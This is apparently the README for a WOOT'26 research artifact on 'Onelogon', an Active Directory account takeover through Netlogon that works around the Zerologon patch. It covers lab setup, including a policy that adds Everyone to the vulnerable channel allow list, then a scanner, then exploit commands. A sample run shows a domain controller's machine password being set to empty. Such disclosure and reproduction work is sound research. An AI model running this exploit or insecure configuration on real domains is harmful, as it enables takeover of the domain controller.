
Code and data for our paper "Onelogon: Taking over Active Directory Accounts via Netlogon" (WOOT’26).
本仓库包含我们论文 Onelogon:通过 Netlogon 接管 Active Directory 账户(WOOT'26)所附带的代码和数据。
我们论文中所述的漏洞攻击了 Zerologon 漏洞的 2020 年加密补丁中的一个弱点。 在旨在为不支持 Netlogon 签名和封装的旧版配置提供支持的组策略中列出的账户,容易受到此攻击的影响。 有关漏洞的详细描述、预期的完整攻击链以及可能的缓解措施,可在论文中找到。
@inproceedings{woot2026-onelogon,
title = {{Onelogon: Taking over Active Directory Accounts via Netlogon}},
author = {Neff, Alexander and Holl, Tobias and Borgolte, Kevin},
booktitle = {Proceedings of the 20th USENIX WOOT Conference on Offensive Technologies},
date = {2026-08},
editor = {Bianchi, Antonio and Classen, Jiska},
location = {Baltimore, MD, USA},
publisher = {USENIX Association}
}
该工件由一个 Python poetry 项目组成,用于扫描器和漏洞利用脚本。
要运行工件提供的脚本,请安装 Python(3.12 或更高版本)以及 poetry(说明)或 uv(说明)。为简单起见,我们列出的命令假定你使用 poetry;如果你选择使用 uv,只需将任何提到 poetry 的地方替换为 uv。
本文档中的所有命令都应在工件根目录(即本 README 所在目录)中运行。
如果使用 poetry,请运行 poetry install 来安装所有依赖项。
要重现论文的结果,你可以使用已修复 Zerologon 的 Windows Server 版本设置一个域控制器(我们已针对 2019 和 2025 版本验证了该漏洞利用)。
要在新安装的 Windows Server 2025 上设置域控制器,请运行以下命令:
# Update system and rename computer to "DC"
Install-Module -Name PSWindowsUpdate -Force
Install-WindowsUpdate -MicrosoftUpdate -AcceptAll
Rename-Computer -NewName "DC" -Restart
# Set up the domain (as "onelogon.local")
Install-WindowsFeature AD-Domain-Services -IncludeManagementTools
Install-ADDSForest -DomainName "onelogon.local"
# Disable Administrator password expiry to keep the VM usable
Set-ADUser -Identity "Administrator" -PasswordNeverExpires $true
该漏洞适用于在 域控制器:允许易受攻击的 Netlogon 安全通道连接 组策略对象或相应的注册表项中的 DACL 中列出的任何账户:
HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\VulnerableChannelAllowList
你可以手动在域控制器上配置这些参数(如果更新了 GPO 条目,请记得运行 gpupdate /force),或者运行以下命令将所有账户添加到注册表项中的 DACL:
Set-GPRegistryValue -Name "Default Domain Controllers Policy" `
-Key "HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters" `
-ValueName "VulnerableChannelAllowList" `
-Type String `
-Value "O:BAG:BAD:(A;;RC;;;WD)" # Everyone
为了确定域控制器在其 VulnerableChannelAllowList 中列出了哪些账户,我们提供了一个扫描器,用于解析域控制器的注册表配置单元和 GPO 卷共享。
请注意,访问注册表进行此扫描需要域管理员权限(当然,漏洞利用不需要)。
# Use the specified username and password to scan the target DC.
poetry run scan --dc-ip <IP of target DC> --username <username> --password <password>
# Specify `--help` to get additional usage instructions.
poetry run scan --help
_肯定_的扫描结果(域控制器上存在易受攻击的账户)将反映包含这些易受攻击账户的安全描述符(使用 Microsoft 的安全描述符定义语言):
~$ poetry run scan --dc-ip 192.168.108.244 -u Administrator -p Xb52RLIiL5k2BhMC
[+] Found 1 matching policies in SYSVOL Share.
[+] Found vulnerable channel allow list in policy '{6AC1786C-016F-11D2-945F-00C04fB984F9}':
'O:BAG:BAD:(A;;RC;;;BA)(A;;RC;;;S-1-5-21-1725695585-1077004420-3792776154-1000)'
[+] Found VulnerableChannelAllowList registry configuration:
O:BAG:BAD:(A;;RC;;;BA)(A;;RC;;;S-1-5-21-1725695585-1077004420-3792776154-1000)
而_否定_的结果(目标域控制器_不_易受攻击)则如下所示:
~$ poetry run scan --dc-ip 192.168.108.244 -u Administrator -p Xb52RLIiL5k2BhMC
[-] No matching policies found in SYSVOL Share.
[-] Error while querying registry: RRP SessionError: code: 0x2 - ERROR_FILE_NOT_FOUND
- The system cannot find the file specified.
要对目标域控制器运行概念验证漏洞利用,首先选择一个易受攻击的账户。 你需要域控制器的 IP 地址、主机名以及易受攻击账户的名称。
在我们的示例设置中,易受攻击的域控制器名为 DC。
其计算机账户(DC$)包含在 GPO 策略中,因此容易受到 Onelogon 攻击。
# Run the meet-in-the-middle attack (Section 4.5 of the paper)
poetry run onelogon --dc-ip <IP of target DC> --dc-name <Name of target DC> \
--username <Target account name>
# Run the 24-bit brute-force with a computer account (Section 4.4 of the paper)
poetry run onelogon --dc-ip <IP of target DC> --dc-name <Name of target DC> \
--username <Target account name> \
--comp-username <Computer account> --comp-pass <Computer account password>
# Run the (slow) 32-bit brute-force with a computer account
poetry run onelogon --naive --dc-ip <IP of target DC> --dc-name <Name of target DC> \
--username <Target account name> \
--comp-username <Computer account> --comp-pass <Computer account password>
# Run the (very slow) 32-bit brute-force without a computer account
poetry run onelogon --naive --dc-ip <IP of target DC> --dc-name <Name of target DC> \
--username <Target account name>
作为说明,我们提供了在测试环境中成功运行中间相遇攻击的示例输出:
~$ poetry run onelogon --dc-ip 192.168.108.244 --dc-name DC --username 'DC$'
[+] Namespace(dc_name='DC', dc_ip='192.168.108.244', username='DC$', comp_username=None,
comp_password=None, comp_hash=None, workers=100)
[+] Successfully bound to Netlogon RPC on DC (192.168.108.244)
[+] Successfully bound to Netlogon RPC on DC (192.168.108.244)
[+] Using flags: (0b100001000111111111111111111111)
1: A IGNORED (Account lockout)
1: B NT3.5 BDC continuous update
1: C RC4 support
1: D IGNORED (Promotion count(deprecated))
1: E Supports BDC handling Changelogs
1: F Supports Restarting full DC sync
1: G Does not require ValidationLevel 2 for nongeneric passthrough
1: H Supports DatabaseRedo
1: I Supports refusal of password changes
1: J Supports NetrLogonSendToSam
1: K Supports generic pass-through
1: L Supports concurrent RPC calls
1: M Supports avoid of user account database replication
1: N Supports avoid of Security Authority database replication
1: O Supports Strong keys
1: P Supports transitive trusts
1: Q IGNORED (Supports DNS trusts)
1: R Supports NetrServerPasswordSet2
1: S Supports NetrLogonGetDomainInfo
1: T Supports cross-forest trusts
1: U No NT4 Emulation
0: V Supports RODC pass-through
0: 0
0: 0
1: W Supports AES 128-bit CFB and SHA2
0: 0
0: 0
0: 0
0: 0
1: X IGNORED (Authenticated RPC via lsass supported)
0: Y Supports secure RPC authentication
0: Z Supports Kerberos for secure channel setup
[*] Estimated total tries without flushing: 2^16 / 2
[+] Starting the brute force attack...
[*] ROUND STATS:
[*] REQ: Took 5.0858272750047036 seconds,
average time per attempt: 0.00286042028965393909 seconds
[*] TRY: Took 120.00023781700293 seconds
[*] CLEANUP: Took 5.999754648655653e-08 seconds
[*] ALL: Took 125.08606619200145 seconds,
average time per attempt: 0.07035211821822354161 seconds
[*]
[*] TOTAL STATS:
[*] TOTAL: 0.10 hours passed, average time per attempt: 0.06760343967316766178 seconds
[*] TRIES: 5538, average tries per cycle: 1846
[*] Estimated progress: 16.90%, estimated time remaining: 0.51 hours
[+] !!!Successfully authenticated DC$ on DC with b'\x00\x00\x00\x00\x11\x11\x04x'!!!
[+] Password set successfully to empty string!
[+] Successfully set the password of DC$ to an empty string!
[+] All tasks have been processed, stopping workers.
[+] All workers have been stopped.
要重现论文中表 1 的测量结果,请执行上一节中描述的全部四个漏洞利用。
你可以获得预期的攻击时间,而无需完成整个攻击;对于朴素方法来说,完成整个攻击的成本高得令人望而却步。
等待超时的 32 位暴力破解的速度受客户端挑战的有效期限制。一个完整周期(可处理 100k 个挑战)需要 120 秒(挑战列表被清除的超时时间)。因此,预期攻击时间始终为 $\frac{2^{31}}{100000}\cdot 120\mathrm{s} \approx 29.83\mathrm{d}$。
对于使用计算机账户的攻击(32 位和 24 位攻击),从输出的 TOTAL STATS 部分获取每次尝试的平均时间 $t$。32 位攻击平均需要 $2^{31}$ 次尝试(预期总时间为 $2^{31}t$)。类似地,24 位攻击的预期持续时间为 $2^{23}t$。
对于中间相遇方法,我们无法在 120 秒的挑战过期时间内尝试所有可能的客户端凭据。
相反,攻击的预期时间取决于我们在该时间范围内可以执行多少次身份验证尝试。
要获得此数值,请从输出的 TOTAL STATS 部分获取_每周期平均尝试次数_ $a$。
由于我们平均需要 $2^{15}$ 次身份验证尝试才能获得 50% 的成功率,因此预期攻击时间简单计算为 $2^{15} \cdot a^{-1} \cdot 120\mathrm{s}$。
获得的具体时间取决于具体的硬件和软件配置。